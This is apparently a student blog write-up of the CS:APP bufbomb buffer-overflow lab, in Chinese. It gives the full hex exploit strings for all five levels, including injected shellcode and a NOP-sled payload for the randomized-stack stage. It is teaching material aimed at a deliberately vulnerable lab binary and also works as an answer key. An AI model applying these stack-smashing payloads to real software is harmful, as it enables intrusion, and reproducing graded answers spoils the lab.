哈工大2024春季计算机系统LAB3--缓冲区溢出(水平有限,仅供参考)

第3章 各阶段漏洞攻击原理与方法

每阶段40分,文本15分,分析25分,总分不超过80分

(选择64位版本)

3.1 Smoke阶段1的攻击与分析

文本如下:(每行16位16进制数,即8个字节)

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

30 14 40 00 00 00 00 00

分析过程:

查看getbuf函数:(缓冲区生成函数,内部调用Gets函数读取一个数组,进而分配一个较大栈区)

由上图可知缓冲区大小为32字节。

由于缓冲区低地址处之后的8个字节为上一级调用者(test函数)保存的%rbp值,再后8个字节为被调用者(getbuf函数)的下一条指令,也就是getbuf的正常返回地址。因此文本“长度”应为32 + 8 + 8 = 48 个字节(即96个16进制数)。前四阶段皆如此,后续不再赘述。

查看smoke函数:

由上图可知,smoke函数地址为 0x401430;即将此串写入十六进制文本文件的最后8字节。具体如下:

最后将此文件转为2进制并输入bufbomb执行,结果如下,攻击有效。

3.2 Fizz的攻击与分析

文本如下:(每行16位16进制数,即8个字节)

48 c7 c7 04 4d c5 78 68

52 14 40 00 c3 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

f0 2f 68 55 00 00 00 00

分析过程:

查看并分析fizz函数:

由上图可知:此次攻击需要注入恶意代码将fizz的第一个参数值篡改为cookie值,而后跳转到fizz函数。

因此首先创建一个汇编代码文件rdi_alter.s,且得到cookie值。

而后编辑.s文件(直接再图形化界面找到原文件夹点击.s文件即可)具体如下图:

下一步将此汇编代码文件转换为机器代码文件.o,并反汇编输出至.txt文件,查看.txt文件,具体如下图:

再下一步将上图的机器代码(即恶意代码)复制到注入代码文件的开头处,且最后8字节(用来覆盖原本的返回地址)应为调用getbuf之前的栈顶指针(rsp)地址。具体如下图:

最终得到的十六进制文件如下:

最后将此文件转为2进制并输入bufbomb执行,结果如下,攻击有效。

3.3 Bang的攻击与分析

文本如下:(每行16位16进制数,即8个字节)

48 c7 04 25 a4 71 40 00

04 4d c5 78  68 9e 14 40

00 c3 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

f0 2f 68 55 00 00 00 00

分析过程:

查看并分析bang函数:

由上图可知:此次攻击需要注入恶意代码将global_value的值篡改为cookie的值,且注释说明了global_value的地址(验证如下图),而后跳转到bang函数。

因此首先创建一个汇编代码文件global_value_alter.s,且得到cookie值。

而后编辑.s文件,具体如下图:

下一步将此汇编代码文件转换为机器代码文件.o,并反汇编输出至.txt文件,查看.txt文件,具体如下图:

再下一步将上图的机器代码(即恶意代码)复制到注入代码文件的开头处,且最后8字节(用来覆盖原本的返回地址)应为调用getbuf之前的栈顶指针(rsp)地址。具体如下图:

最终得到的十六进制文件如下:

最后将此文件转为2进制并输入bufbomb执行,结果如下,攻击有效。

3.4 Boom的攻击与分析

文本如下:(每行16位16进制数,即8个字节)

b8 04 4d c5 78 48 c7 c5

40 30 68 55 68 86 15 40

00 c3 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

f0 2f 68 55 00 00 00 00

分析过程:

查看并分析test函数:(因为test内部调用getbuf 函数)

由上图可知:此次攻击需要注入恶意代码将getbuf函数的返回值值篡改为cookie值,且需要修复原本栈帧,才能实现无感攻击。

因此首先创建一个汇编代码文件eax_alter_stack_restore.s,且得到cookie值。

而后需要确定原本的栈帧基址指针的值,即在调用getbuf之前的rbp值。这需要将断点设置在getbuf被调用之前,即0x401581处,运行至断点处后,输出当前rbp值。具体如下图:

而后编辑.s文件,具体如下图:

下一步将此汇编代码文件转换为机器代码文件.o,并反汇编输出至.txt文件,查看.txt文件,具体如下图:

再下一步将上图的机器代码(即恶意代码)复制到注入代码文件的开头处,且最后8字节(用来覆盖原本的返回地址)应为调用getbuf之前的栈顶指针(rsp)地址。具体如下图:

最终得到的十六进制文件如下:

最后将此文件转为2进制并输入bufbomb执行,结果如下,攻击有效。

3.5 Nitro的攻击与分析

文本如下:(每行32位16进制数,即16个字节,共33行)

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

b8 04 4d c5 78 48 8d 6c 24 20 68 0c 16 40 00 c3

00 00 00 00 00 00 00 00 80 2e 68 55 00 00 00 00

分析过程: 

查看并分析testn函数:(因为testn内部调用getbufn 函数)

由上图可知:此次攻击需要将getbuf函数的返回值篡改为cookie值。

查看并分析getbufn函数:

​​​​​由上图可知:在执行完此函数后,自有栈帧会被全部恢复。但是testn函数内部也没有循环功能。但由实验PPT可知,此关卡会有五次循环,那么此循环只可能在testn函数外部。那么恶意代码需要加入恢复testn函数栈帧的功能,即将testn函数的栈指针减去所分配的栈空间大小(0x18)后再减去8个字节。

下一步需要确定随机栈的范围,因为随机栈不可能没有限制在内存中任意分配,不妨将断点设在getbufn函数分配栈空间语句之后,也就是0x4019b0处,而后查看每次分配栈空间之后的栈指针位置,具体如下图:

由上图可知:栈指针位置只能输出五次,证实了五次循环。并且不妨多试几次,会发现第五次的栈指针位置总是0x55682da0(最低),只有前四次栈指针位置是随机化的,并且最高值总为0x55682e80。因此可以大胆猜测,随机栈只在一定内存空间内进行随机分配。

如果我们将返回地址覆盖为最高栈指针处(并且考虑到后几次循环栈分配的随机性)那么我们的恶意代码只要处在这个栈区末尾,前半段填充空操作指令(nop),如此一来,不管栈如何分配,我们的恶意代码一定会被执行到。

因此首先创建一个汇编代码文件n_eax_alter_stack_restore.s,且得到cookie值。

而后编辑.s文件,具体如下图:

下一步将此汇编代码文件转换为机器代码文件.o,并反汇编输出至.txt文件,查看.txt文件,具体如下图:

再下一步将上图的机器代码(即恶意代码)复制到注入代码文件中,而后在恶意代码之前补全512(0x200)个字节的空操作指令(nop)的机器代码“90”。之后在代码末尾额外加上两个8字节(第一个覆盖原有帧指针rbp,第二个覆盖原有的返回地址)。最后8字节应改为随机栈中最高栈的位置。具体如下图:

最后将此文件转为2进制(注意./hex2raw 之后也需要加上 -n 参数!!!否则只有第一次循环攻击成功,其余无用)并输入bufbomb执行,结果如下,攻击有效。

参考文献

[1] Bryant, R. E., & O’Hallaron, D. R. (2016). Computer Systems: A Programmer’s Perspective (3rd ed.). Boston, MA: Pearson.

[2] C语言函数调用时候内存中栈的动态变化详细分析_一个函数内变量个数 导致栈数的变化-CSDN博客icon-default.png?t=N7T8https://blog.csdn.net/kangkanglhb88008/article/details/89739105?spm=1001.2014.3001.5506

[3]汇编语言(八):串操作指令、空操作指令NOP_cx,count-CSDN博客icon-default.png?t=N7T8https://blog.csdn.net/weixin_42437114/article/details/107196519?spm=1001.2014.3001.5506

  • 15
    点赞
  • 40
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值